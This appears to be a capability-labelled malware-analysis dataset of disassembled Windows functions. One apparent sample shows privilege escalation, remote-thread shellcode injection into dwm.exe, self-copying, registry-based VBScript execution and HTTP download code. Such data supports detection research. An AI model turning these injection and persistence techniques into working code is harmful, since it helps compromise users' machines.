joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003a90
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x58
call fcn.1400069e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140003abd
xor eax, eax
jmp 0x140003b52
mov eax, 0xc
imul rax, rax, 0
lea rax, [rsp + rax + 0x44]
mov r8, rax
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [rsp + 0x40], 1
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x4c], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rsp + 0x40]
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140003b3f
mov dword [rsp + 0x30], 1
jmp 0x140003b47
mov dword [rsp + 0x30], 0
mov eax, dword [rsp + 0x30]
jmp 0x140003b52
add rsp, 0x58
ret
Function at 0x140003b60
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub rsp, 0x128
lea rdx, str.vmcompute.exe
lea rcx, [rsp + 0x70]
call fcn.140002b90
nop
lea rcx, [rsp + 0x70]
call fcn.140004100
mov byte [rsp + 0x50], al
lea rcx, [rsp + 0x70]
call fcn.140003480
movzx eax, byte [rsp + 0x50]
test eax, eax
je 0x140003ba4
call fcn.1400069e0
jmp 0x140003cdd
call fcn.1400069e0
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0xb0]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0xb0], 0x68
mov dword [rsp + 0xec], 1
xor eax, eax
mov word [rsp + 0xf0], ax
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x58]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.powershell.exe_Enable_WindowsOptionalFeature__FeatureName__Containers_DisposableClientVM___All__Online
lea rcx, [rsp + 0x90]
call fcn.140002b90
nop
xor edx, edx
lea rcx, [rsp + 0x90]
call fcn.140003740
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xb0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140003c93
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x54], eax
lea rdx, str.Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400010d0
mov ecx, dword [rsp + 0x54]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400026a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x90]
call fcn.140003480
add rsp, 0x128
ret
Function at 0x140003e90
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x58
call fcn.1400069e0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx eax, word [rsp + 0x3c]
movzx ecx, word [rsp + 0x4c]
sub eax, ecx
cvtsi2sd xmm0, eax
movzx eax, word [rsp + 0x3e]
movzx ecx, word [rsp + 0x4e]
sub eax, ecx
cvtsi2sd xmm1, eax
divsd xmm1, qword [0x140009fd8]
addsd xmm0, xmm1
movsd qword [rsp + 0x28], xmm0
movsd xmm0, qword [0x140009fd0]
comisd xmm0, xmmword [rsp + 0x28]
jbe 0x140003f00
jmp 0x140003f29
call fcn.140003f30
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x140003f1c
call fcn.1400069e0
call fcn.140006410
jmp 0x140003f29
call fcn.1400069e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
add rsp, 0x58
ret
Function at 0x140003f30
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x68
call fcn.1400069e0
call fcn.1400069e0
call fcn.140003a90
test eax, eax
jne 0x140003f51
mov eax, 0xffffffff
jmp 0x1400040f4
lea rcx, str.dwm.exe
call fcn.140006900
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x140003f72
mov eax, 0xffffffff
jmp 0x1400040f4
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140003f9b
mov eax, 0xfffffffe
jmp 0x1400040f4
mov eax, dword [0x140053e58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x140003fe1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xfffffffd
jmp 0x1400040f4
mov r9d, 6
lea r8, [0x140053e5c]
mov edx, dword [0x140053e58]
lea rcx, section..data
call fcn.1400067b0
mov eax, dword [0x140053e58]
mov qword [rsp + 0x20], 0
mov r9d, eax
lea r8, section..data
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000405b
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xfffffffc
jmp 0x1400040f4
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400040c2
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xfffffffb
jmp 0x1400040f4
call fcn.1400069e0
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400069e0
xor eax, eax
add rsp, 0x68
ret
Function at 0x140004100
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x278
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x140004129
xor al, al
jmp 0x140004198
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x140004153
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x140004198
lea rdx, [rsp + 0x5c]
mov rcx, qword [rsp + 0x280]
call fcn.140006660
test eax, eax
jne 0x140004178
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140004198
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140004153
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add rsp, 0x278
ret

Function at 0x1400041a0
Capabilities:
Move file

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
call fcn.1400069e0
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
add rsp, 0x28
ret
Function at 0x140004210
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x78
call fcn.1400069e0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [0x1400096b8]
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140004254
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140004375
lea r8, [rsp + 0x40]
lea rdx, [0x1400096c8]
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rax, str.Counsellor
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x30]
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov dword [rsp + 0x20], 0x30
lea r9, str.VMS
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
lea r8, [rsp + 0x58]
lea rdx, str.Shell
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea r8, [rsp + 0x60]
lea rdx, str.Open
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea r8, [rsp + 0x68]
lea rdx, str.Command
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rax, str.wscript.exe___E:vbscript___1_
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x48]
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x78
ret
Function at 0x140004550
Capabilities:
Copy file
Create process on windows
Get common file path

Disassembly:
push rdi
sub rsp, 0x710
call fcn.1400069e0
mov r8d, 0x104
lea rdx, [rsp + 0x500]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140004582
mov eax, 1
jmp 0x1400046a2
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jge 0x1400045b0
mov eax, 1
jmp 0x1400046a2
lea r9, [rsp + 0x2f0]
lea r8, str._sTempupgrader.exe
mov edx, 0x104
lea rcx, [rsp + 0xe0]
call fcn.140004380
test eax, eax
jge 0x1400045df
mov eax, 1
jmp 0x1400046a2
xor r8d, r8d
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x500]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140004606
mov eax, 1
jmp 0x1400046a2
mov dword [rsp + 0x70], 0x68
lea rax, [rsp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140004676
mov eax, 1
jmp 0x1400046a2
call fcn.1400069e0
call fcn.1400041e0
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400069e0
call fcn.140003b60
xor eax, eax
add rsp, 0x710
pop rdi
ret
Function at 0x140005680
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rax, qword [rsp + 0xa0]
cmp qword [rax + 0x68], 0
je 0x1400056ab
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax + 0x72]
test eax, eax
jne 0x1400056b2
mov al, 1
jmp 0x1400057fb
call fcn.140006840
mov rcx, qword [rsp + 0xa0]
mov rcx, qword [rcx]
mov qword [rsp + 0x48], rcx
movzx edx, ax
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x48]
call qword [rax + 0x18]
mov word [rsp + 0x30], ax
call fcn.140006840
movzx ecx, word [rsp + 0x30]
movzx edx, cx
movzx ecx, ax
call fcn.140006880
movzx eax, al
test eax, eax
je 0x140005702
xor al, al
jmp 0x1400057fb
mov qword [rsp + 0x58], 0x20
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0xa0]
add rcx, 0x74
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x60]
mov rdx, rcx
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
je 0x140005768
cmp dword [rsp + 0x34], 1
je 0x140005774
cmp dword [rsp + 0x34], 3
je 0x1400057e9
jmp 0x1400057f9
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x72], 0
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jbe 0x1400057c0
mov rax, qword [rsp + 0xa0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x40]
mov edx, 1
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x40], rax
je 0x1400057c0
xor al, al
jmp 0x1400057fb
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax + 0x72]
test eax, eax
jne 0x1400057da
mov dword [rsp + 0x38], 1
jmp 0x1400057e2
mov dword [rsp + 0x38], 0
movzx eax, byte [rsp + 0x38]
jmp 0x1400057fb
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x72], 0
mov al, 1
jmp 0x1400057fb
xor al, al
add rsp, 0x98
ret

Function at 0x140006900
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x278
call fcn.1400069e0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x14000692e
xor eax, eax
jmp 0x1400069a3
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x140006958
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400069a3
mov dword [rsp + 0x20], 0
lea rdx, [rsp + 0x5c]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x140006981
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x20], eax
jmp 0x140006994
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140006960
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
add rsp, 0x278
ret
Function at 0x140008568
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400085b2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400085b2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400085b2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400085b2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400085b2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400085b4
xor al, al
add rsp, 0x28
ret
Function at 0x14001b87c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140005ea0
sub rsp, rax
mov rax, qword [0x142a2e080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14001784c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14001b8cb
mov rax, rbp
jmp 0x14001b9d3
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x2a30170]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14001c7c8
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x2a30170]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14001b9cf
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001b9cf
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14001c7c8
test rax, rax
js 0x14001b9cf
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14001b9cf
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14001b9c1
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14001b9c1
cmp byte [rcx], 0xd
jne 0x14001b9a7
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14001b9b6
cmp byte [rcx + 1], 0xa
jne 0x14001b9b6
inc rcx
jmp 0x14001b9b6
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x2a2e470]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14001b989
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14001b9d3
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140005840
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001bb68
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x142a30170]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14001bbbf
cmp word [rdx], r13w
jne 0x14001bbbf
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14001bbc4
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14001bce9
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14001bd0a
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14001bbfd
mov rdx, r9
mov word [rbx], cx
jmp 0x14001bc24
cmp r9, r8
jae 0x14001bc34
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14001bbde
jmp 0x14001bce9
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001bcde
cmp dword [rsp + 0x80], esi
je 0x14001bcde
lea r8, [0x142a30170]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14001bcb6
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14001bc86
mov word [rbx], r13w
jmp 0x14001bce6
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14001bc93
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14001bce6
cmp word [rsp + 0x70], r13w
jne 0x14001bcc3
cmp rbx, r14
je 0x14001bc80
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14001c7d0
cmp word [rsp + 0x70], r13w
je 0x14001bce9
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x142a30170]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14001bce3
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14001bce9
Function at 0x140001000
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov dword [rsp + 0x34], 0
xor esi, esi
test rcx, rcx
je 0x140001154
mov rbx, rdx
test rdx, rdx
je 0x140001154
mov rdi, r8
test r8, r8
je 0x140001154
mov r14, rcx
mov dword [rsp + 0x20], 0
xor esi, esi
xor ecx, ecx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x140001144
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2400
mov rcx, rax
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
je 0x140001144
mov r14, rax
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
test rax, rax
je 0x140001144
mov r15, rax
lea r12, [rsp + 0x34]
xor r13d, r13d
xor ebp, ebp
nop word cs:[rax + rax]
mov rcx, r14
mov rdx, r15
mov r8d, 0x400
mov r9, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001144
mov edx, dword [rsp + 0x34]
add ebp, edx
test r13, r13
je 0x140001100
mov edx, ebp
mov rcx, r13
mov r8d, 0x42
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
jmp 0x14000110b
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r13, rax
test rax, rax
je 0x140001144
mov r8d, dword [rsp + 0x34]
mov rcx, r13
mov rdx, r15
call sym.memcpy
mov r8d, dword [rsp + 0x34]
mov rcx, r15
xor edx, edx
call sym.memset
cmp dword [rsp + 0x34], 0x3ff
ja 0x1400010c0
mov qword [rbx], r13
mov eax, ebp
mov qword [rdi], rax
cmp qword [rbx], 0
je 0x140001154
xor esi, esi
cmp qword [rdi], 0
setne sil
mov eax, esi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x18002fd10
Capabilities:
Check os version
Get common file path

Disassembly:
push rbx
mov eax, 0x1170
call fcn.180168630
sub rsp, rax
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rax, qword [0x180201020]
xor rax, rsp
mov qword [rsp + 0x1160], rax
mov rbx, rdx
mov qword [rsp + 0x38], rdx
xor eax, eax
mov dword [rsp + 0x28], eax
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 7
mov word [rdx], ax
mov dword [rsp + 0x28], 1
lea ecx, [rax + 1]
call fcn.1801167a4
mov qword [rsp + 0x20], rax
mov byte [rax], 0
xor edx, edx
mov r8d, 0x118
lea rcx, [rsp + 0x44]
call fcn.180135690
mov dword [rsp + 0x40], 0x11c
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x18002fda7
cmp dword [rsp + 0x44], 6
setae cl
mov rax, qword [rsp + 0x20]
mov byte [rax], cl
lea rcx, [rsp + 0x20]
call fcn.180080900
xor edx, edx
mov r8d, 0x1000
lea rcx, [rsp + 0x160]
call fcn.180135690
xor r9d, r9d
lea r8d, [r9 + 0x1c]
lea rdx, [rsp + 0x160]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x18002fe0b
lea rax, [rsp + 0x160]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x18002fdf0
lea rdx, [rsp + 0x160]
mov rcx, rbx
call fcn.180003950
lea rcx, [rsp + 0x20]
call fcn.180080c10
nop
lea rcx, [rsp + 0x20]
call fcn.180080060
mov rax, rbx
mov rcx, qword [rsp + 0x1160]
xor rcx, rsp
call fcn.180116780
add rsp, 0x1170
pop rbx
ret